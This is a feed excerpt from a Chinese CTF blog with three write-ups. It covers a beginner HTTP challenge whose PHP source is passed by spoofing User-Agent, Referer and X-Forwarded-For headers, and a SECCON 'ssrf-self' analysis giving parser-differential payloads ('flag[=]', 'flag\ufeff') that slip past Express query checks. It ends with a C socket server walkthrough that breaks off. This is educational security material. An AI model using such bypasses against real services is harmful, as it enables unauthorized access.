&lt;h4 id="easy_upload">easy_upload&lt;/h4>
&lt;p>&lt;a href="https://redshome.top/posts/2025-12-06-2025-tkkctf-beginner/wp-2.pdf">wp-2.pdf&lt;/a>&lt;/p>
&lt;h4 id="ez_http">ez_http&lt;/h4>
&lt;p>出题者 zsm 留言：第一次出web题，质量不算特别高，请见谅&lt;/p>
&lt;p>源码&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-php" data-lang="php">&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;?&lt;/span>&lt;span class="nx">php&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">echo&lt;/span> &lt;span class="s2">&amp;#34;&amp;lt;h1&amp;gt;你知道http协议吗？&amp;lt;/h1&amp;gt;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">echo&lt;/span> &lt;span class="s2">&amp;#34;&amp;lt;h1&amp;gt;不知道？还不去查查!!!&amp;lt;/h1&amp;gt;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">echo&lt;/span> &lt;span class="s2">&amp;#34;&amp;lt;h2&amp;gt;你知道怎么修改请求包吗？&amp;lt;/h2&amp;gt;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">echo&lt;/span> &lt;span class="s2">&amp;#34;&amp;lt;!-- 你也许需要一个工具？看看web手册呢？ --&amp;gt;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$flag&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">file_get_contents&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/flag&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$flags&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">str_split&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$flag&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">5&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nv">$_SERVER&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;HTTP_USER_AGENT&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="s1">&amp;#39;xujcBrowser&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">die&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;请使用xujcBrowser浏览器访问&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">echo&lt;/span> &lt;span class="nv">$flags&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nx">isset&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$_GET&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;hello&amp;#39;&lt;/span>&lt;span class="p">]))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">die&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;lt;br&amp;gt;请用GET方式传递hello=world&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">echo&lt;/span> &lt;span class="nv">$flags&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nv">$_GET&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;hello&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="s1">&amp;#39;world&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">die&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&amp;lt;br&amp;gt;hello参数不正确&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">echo&lt;/span> &lt;span class="nv">$flags&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nx">isset&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$_POST&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;web&amp;#39;&lt;/span>&lt;span class="p">]))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">die&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;lt;br&amp;gt;请用POST方式传递web=security&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">echo&lt;/span> &lt;span class="nv">$flags&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nv">$_POST&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;web&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="s1">&amp;#39;security&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">die&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;lt;br&amp;gt;web参数值不正确&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">echo&lt;/span> &lt;span class="nv">$flags&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nx">isset&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$_COOKIE&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;flag&amp;#39;&lt;/span>&lt;span class="p">]))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">die&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;lt;br&amp;gt;请设置cookie flag=secret&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">echo&lt;/span> &lt;span class="nv">$flags&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nv">$_COOKIE&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;flag&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="s1">&amp;#39;secret&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">die&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;lt;br&amp;gt;cookie flag值不正确&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">echo&lt;/span> &lt;span class="nv">$flags&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nv">$_SERVER&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;HTTP_REFERER&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="s1">&amp;#39;http://localhost:8080/&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">die&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;lt;br&amp;gt;请从http://localhost:8080/访问&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">echo&lt;/span> &lt;span class="nv">$flags&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nv">$_SERVER&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;HTTP_X_FORWARDED_FOR&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="s1">&amp;#39;127.0.0.1&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">die&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;lt;br&amp;gt;请从127.0.0.1访问&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">echo&lt;/span> &lt;span class="nv">$flags&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">.&lt;/span> &lt;span class="s2">&amp;#34;&amp;lt;br&amp;gt;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">echo&lt;/span> &lt;span class="s1">&amp;#39;&amp;lt;h1&amp;gt;看来你知道http协议了&amp;lt;/h1&amp;gt;&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>首先你要去学一下http协议，以及了解一下这个包里面的内容&lt;/p></description></item><item><title>2024 Seccon13 Online Web | Writeup</title><link>https://redshome.top/posts/2025-06-08-seccon2024-writeup/</link><pubDate>Sun, 08 Jun 2025 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2025-06-08-seccon2024-writeup/</guid><description>&lt;h2 id="ssrf-self">ssrf-self&lt;/h2>
&lt;p>非常超模的一题，能做出来的都是狠人(当然不排除很大一部分是猜对的，实际分析起来确实复杂)&lt;/p>
&lt;p>先来看代码&lt;/p>
&lt;p>&lt;img alt="image-20250610173951920" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610173951920.png">&lt;/p>
&lt;p>&lt;img alt="image-20250610174006538" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610174006538.png">&lt;/p>
&lt;p>用bun起的服务，这个bun是个什么呢？可以理解成一种全新的nodejs，对nodejs很多功能进行了重构提升性能&lt;/p>
&lt;p>&lt;img alt="image-20250610174126108" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610174126108.png">&lt;/p>
&lt;p>非常正常的包引用。接着来看逻辑代码。&lt;/p>
&lt;p>&lt;img alt="image-20250610174155636" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610174155636.png">&lt;/p>
&lt;p>根路由判断了query是否给flag传值，如果传了才能继续跳转到其他路由。也就是说，不管访问的是什么，因为有next事件的存在，所以必须经过根路由的这个检查&lt;/p>
&lt;p>&lt;img alt="image-20250610174802780" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610174802780.png">&lt;/p>
&lt;p>携带正确的flag值访问flag路由就能得到flag。但我们肯定不知道flag是什么&lt;/p>
&lt;p>&lt;img alt="image-20250610174832399" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610174832399.png">&lt;/p>
&lt;p>最后就是ssrf路由，会把请求拿去URL类做实例化，并判断是否正确与LOCALHOST进行拼接，重新赋值pathname为flag，添加参数flag和正确的flag值，代替我们访问/flag路由。&lt;/p>
&lt;p>乍一看好像直接访问/ssrf就应该返回给我们正确的flag才对，但问题就在于根路由的next，必须先赋值正确的flag值才能访问ssrf&lt;/p>
&lt;p>看到这里我就在想，append是会把flag覆盖过去还是把flag变成数组添加一个值？用附件起一个服务试试&lt;/p>
&lt;p>为了看到传到flag路由的具体内容是什么，我们需要修改一下代码&lt;/p>
&lt;p>&lt;img alt="image-20250610175431440" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610175431440.png">&lt;/p>
&lt;p>注意只能存在一个res.send，否则会报错&lt;/p>
&lt;p>先来看看直接传flag值会发生什么&lt;/p>
&lt;p>&lt;img alt="image-20250610180158612" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610180158612.png">&lt;/p>
&lt;p>跳到了正则表达式的第二个结果里。而我们的目的肯定是第一个结果，所以来看看传进来的req.query是什么&lt;/p>
&lt;p>&lt;img alt="image-20250610175825556" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610175825556.png">&lt;/p>
&lt;p>会发现append最终是把我们的flag参数变成了数组，所以不会跳到第一个结果。&lt;/p>
&lt;p>那要怎么绕过呢？猜测漏洞点应该就出在&lt;/p>
&lt;ol>
&lt;li>URL对req.url的处理，可能存在什么符号或格式让URL类在过了根路径的检查后仍然认为flag这个参数不存在&lt;/li>
&lt;li>bun本身自带的express框架对req.query的识别与URL对req.query的识别不一致&lt;/li>
&lt;/ol>
&lt;p>而两种思路也正对应了这题的两种解法&lt;/p>
&lt;h3 id="1ssrfflag">1./ssrf?flag[=]&lt;/h3>
&lt;p>我们在php里经常用?a[]=1&amp;amp;b[]=2来绕过md5比较，在js里也有类似的用法。比如我们想用url给某个数组的某个键值赋值，可以用这种方法&lt;/p>
&lt;pre tabindex="0">&lt;code>?flag[1]=1
&lt;/code>&lt;/pre>&lt;p>&lt;img alt="image-20250610195936387" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610195936387.png">&lt;/p>
&lt;p>那要是我们的键值不是数字，而是别的什么呢&lt;/p>
&lt;p>&lt;img alt="image-20250610200021386" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610200021386.png">&lt;/p>
&lt;p>接下来就是想办法怎么让req.query觉得存在flag参数，又让URL觉得不存在flag参数&lt;/p>
&lt;p>方法就是标题里的payload。当传进来的值是flag[=]时，req.query会觉得你在给flag的&lt;code>=&lt;/code>键赋值，URL会觉得你在给&lt;code>flag[&lt;/code>赋值&lt;/p>
&lt;p>&lt;img alt="image-20250610200827429" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610200827429.png">&lt;/p>
&lt;h3 id="2ssrfflagufeff">2./ssrf?flag\ufeff&lt;/h3>
&lt;p>先来看看bun带了什么模块&lt;/p>
&lt;p>&lt;img alt="image-20250610201220244" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610201220244.png">&lt;/p>
&lt;p>负责url处理的猜测是parseurl。且在express/lib/requests.js里也能看到引用&lt;/p>
&lt;p>&lt;img alt="image-20250610201728556" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610201728556.png">&lt;/p>
&lt;p>到github搜项目https://github.com/pillarjs/parseurl/blob/1.3.3/index.js&lt;/p>
&lt;p>&lt;img alt="image-20250610202056151" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610202056151.png">&lt;/p>
&lt;p>读取到URL数据后先判断是不是空的，如果不为空，将在缓存中查找是否存在（fresh方法）。如果不存在，将进入fastparse&lt;/p>
&lt;p>&lt;img alt="image-20250610202359962" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610202359962.png">&lt;/p>
&lt;p>判断url是否是字符串且以/开头。如果不是则交给bun更底层的parse函数去处理&lt;/p>
&lt;p>这个parse函数又是怎么处理的呢？这就得进到bun到项目文件里一探究竟了https://github.com/oven-sh/bun/blob/bun-v1.1.36/src/node-fallbacks/url.js#L49&lt;/p>
&lt;p>&lt;img alt="image-20250610205037551" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610205037551.png">&lt;/p>
&lt;p>这一段主要就是对反斜杠进行处理，然后赋值url给rest&lt;/p>
&lt;p>&lt;img alt="image-20250610210358301" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610210358301.png">&lt;/p>
&lt;p>紧接着将rest后面的空白符删除&lt;/p>
&lt;p>&lt;img alt="image-20250610210647870" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250610210647870.png">&lt;/p>
&lt;p>什么是空白符？有很多，其中有个比较不常见的叫&lt;em>BOM&lt;/em>（Byte Order Mark）分隔符&lt;/p>
&lt;p>&lt;img alt="image-20250611111841316" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250611111841316.png">&lt;/p>
&lt;p>接着先回到parseurl往下继续分析&lt;/p>
&lt;p>&lt;img alt="image-20250611112529435" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250611112529435.png">&lt;/p>
&lt;p>如果没跳进上面的if，就会来到这个for循环。简单来说就是先以?为分隔符分出三个部分，再对各种特殊字符作处理，但有一个case格外亮眼，就是0xfeff&lt;/p>
&lt;p>意思就是，如果我们的发送的数据里带了0xfeff（也就是&lt;code>\ufeff&lt;/code>）也会跳进parse进行处理&lt;/p>
&lt;p>而根据我们上面对parse的分析，他会将包括0xfeff在内的空白符删掉，导致在req.query做判断时会认为我们传递进来的参数就是flag而不是&lt;code>flag\ufeff&lt;/code>，因此就能绕过undefined&lt;/p>
&lt;p>但URL类并不会认为flag和&lt;code>flag\ufeff&lt;/code>是一样的，他会认为这是两个不一样的变量，在append时就会单独起一个flag变量赋值&lt;/p>
&lt;p>&lt;img alt="image-20250612080736317" loading="lazy" src="https://redshome.top/posts/2025-06-08-seccon2024-writeup/image-20250612080736317.png">&lt;/p>
&lt;p>持续更新ing&amp;hellip;&amp;hellip;&lt;/p></description></item><item><title>2024 HKCert CTF 线上赛 Web | Writeup</title><link>https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/</link><pubDate>Tue, 13 May 2025 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/</guid><description>&lt;h2 id="前言">前言&lt;/h2>
&lt;p>&lt;del>一直从去年比赛结束拖到现在，我也是个神人了&lt;/del>&lt;/p>
&lt;p>&lt;img alt="image-20250515175640703" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250515175640703.png">&lt;/p>
&lt;p>本篇将复现Web方向全部题目（不包括PWN+Web），包括step by step&lt;/p>
&lt;h2 id="已知用火-1--custom-web-server-1">已知用火 (1) / Custom Web Server (1)&lt;/h2>
&lt;p>一道C语言web题，比较少见，不过仔细分析一遍后会对C语言的socket编程有初步的理解，所以我们来详细分析一下&lt;/p>
&lt;p>拿到附件后发现只有&lt;code>srv/&lt;/code>里的静态文件和&lt;code>server.c&lt;/code>的逻辑，那就来看c程序&lt;/p>
&lt;p>首先是setvbuf&lt;/p>
&lt;p>&lt;img alt="image-20250513204000303" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250513204000303.png">&lt;/p>
&lt;p>这个函数的主要作用是将标准输入、输出、错误用全缓冲放到NULL缓冲区里。&lt;/p>
&lt;p>&lt;img alt="image-20250513204354557" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250513204354557.png">当我们在对系统进行输入与输出时，系统并不会直接从物理硬件读取内容，而是会放到缓冲区里，等触发一定条件后才会将从缓冲区内取出使用。而在这个程序里的条件就是这个全缓冲，会将我们输入的内容全放到NULL里，也就是空，这样做的目的就是让我们在标准输入和输出无法控制这个程序。&lt;/p>
&lt;p>接着声明服务地址与客户端地址&lt;/p>
&lt;p>&lt;img alt="image-20250513204737076" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250513204737076.png">&lt;/p>
&lt;p>之后创建一个socket变量。这个变量有个更专业的名字叫”套接字描述字“，但为了方便理解我这里直接叫他socket变量。&lt;/p>
&lt;p>&lt;img alt="image-20250513204826165" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250513204826165.png">&lt;/p>
&lt;p>我们要想为C语言程序创建一个服务端待连接套接字(socket)，就需要先创建一个变量，接着再一步步创建bind（用于为socket变量绑定地址）、listen（开启监听）、accept（收到客户端请求后确认连接）、recv（接受数据）、close（关闭连接）等，可以看下面这幅图。更详细的内容可以看&lt;a href="https://blog.csdn.net/qq_36025591/article/details/113964442">这篇&lt;/a>文章&lt;/p>
&lt;p>&lt;img alt="在这里插入图片描述" loading="lazy" src="https://i-blog.csdnimg.cn/blog_migrate/3e3598341d2b8574f2fca44951d00db1.png">&lt;/p>
&lt;p>这就是socket连接的大概流程，接着我们来解释一下这里参数的意思。&lt;/p>
&lt;ol>
&lt;li>AF_INET：这个参数意为告诉socket函数需要创建IPv4协议的连接。这个参数位为协议域(domain)，又称为协议族（family），常用的协议族有AF_INET（IPv4)、AF_INET6(IPv6)、AF_LOCAL（或称AF_UNIX，Unix域socket）、AF_ROUTE等等&lt;/li>
&lt;li>SOCK_STREAM：这个参数意为需要创建流式套接字。这个参数位为需要创建的套接字类型，常用的socket类型有，SOCK_STREAM（流式套接字）、SOCK_DGRAM（数据报式套接字）、SOCK_RAW、SOCK_PACKET、SOCK_SEQPACKET等等&lt;/li>
&lt;li>0：这个参数意为自动选择传输层协议。这个参数位为选择传输层协议，常用的协议有，IPPROTO_TCP、IPPROTO_UDP、IPPROTO_SCTP、IPPROTO_TIPC等，它们分别对应TCP传输协议、UDP传输协议、STCP传输协议、TIPC传输协议。需要注意，IPPROTO_TCP只能搭配SOCK_STREAM，因为TCP是流式传输，每个数据包之间有关联性，而不像UDP前后不分。&lt;/li>
&lt;/ol>
&lt;p>接着就是手动配置服务端地址&lt;/p>
&lt;p>&lt;img alt="image-20250514100920738" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250514100920738.png">&lt;/p>
&lt;p>其中，&lt;code>INADDR_ANY&lt;/code>表示0.0.0.0，htonl函数的作用是将电脑的小端序改成网络字节流的大端序&lt;/p>
&lt;p>接着就是绑定地址和监听，bind和listen函数如果运行成功将返回0&lt;/p>
&lt;p>&lt;img alt="image-20250514101046416" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250514101046416.png">&lt;/p>
&lt;p>listen函数的第二个参数意为最大的连接等待排队个数，因为这里暂时（下面使用了多进程）没做多线程处理，所以listen一次只能处理一个连接&lt;/p>
&lt;p>&lt;img alt="image-20250514101238466" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250514101238466.png">&lt;/p>
&lt;p>最后用accept函数确认连接，至此我们就能成功与客户端保持连接了。&lt;/p>
&lt;p>接下来就是为这个连接使用fork函数创建一个子进程去运行。这样这个连接就会被挂载到这个子进程上，listen就能去处理排队里的下一个连接&lt;/p>
&lt;p>&lt;img alt="image-20250514101524551" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250514101524551.png">&lt;/p>
&lt;p>handle_client函数为自定义函数，所以我们接着来分析一下&lt;/p>
&lt;p>首先声明了两个字符数组，这个没什么好说的&lt;/p>
&lt;p>&lt;img alt="image-20250514101616427" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250514101616427.png">&lt;/p>
&lt;p>接着用memset初始化，将所有数组空间用0填充&lt;/p>
&lt;p>&lt;img alt="image-20250514101637434" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250514101637434.png">&lt;/p>
&lt;p>接着将从客户端发送来的数据包内容保存到buffer数组里&lt;/p>
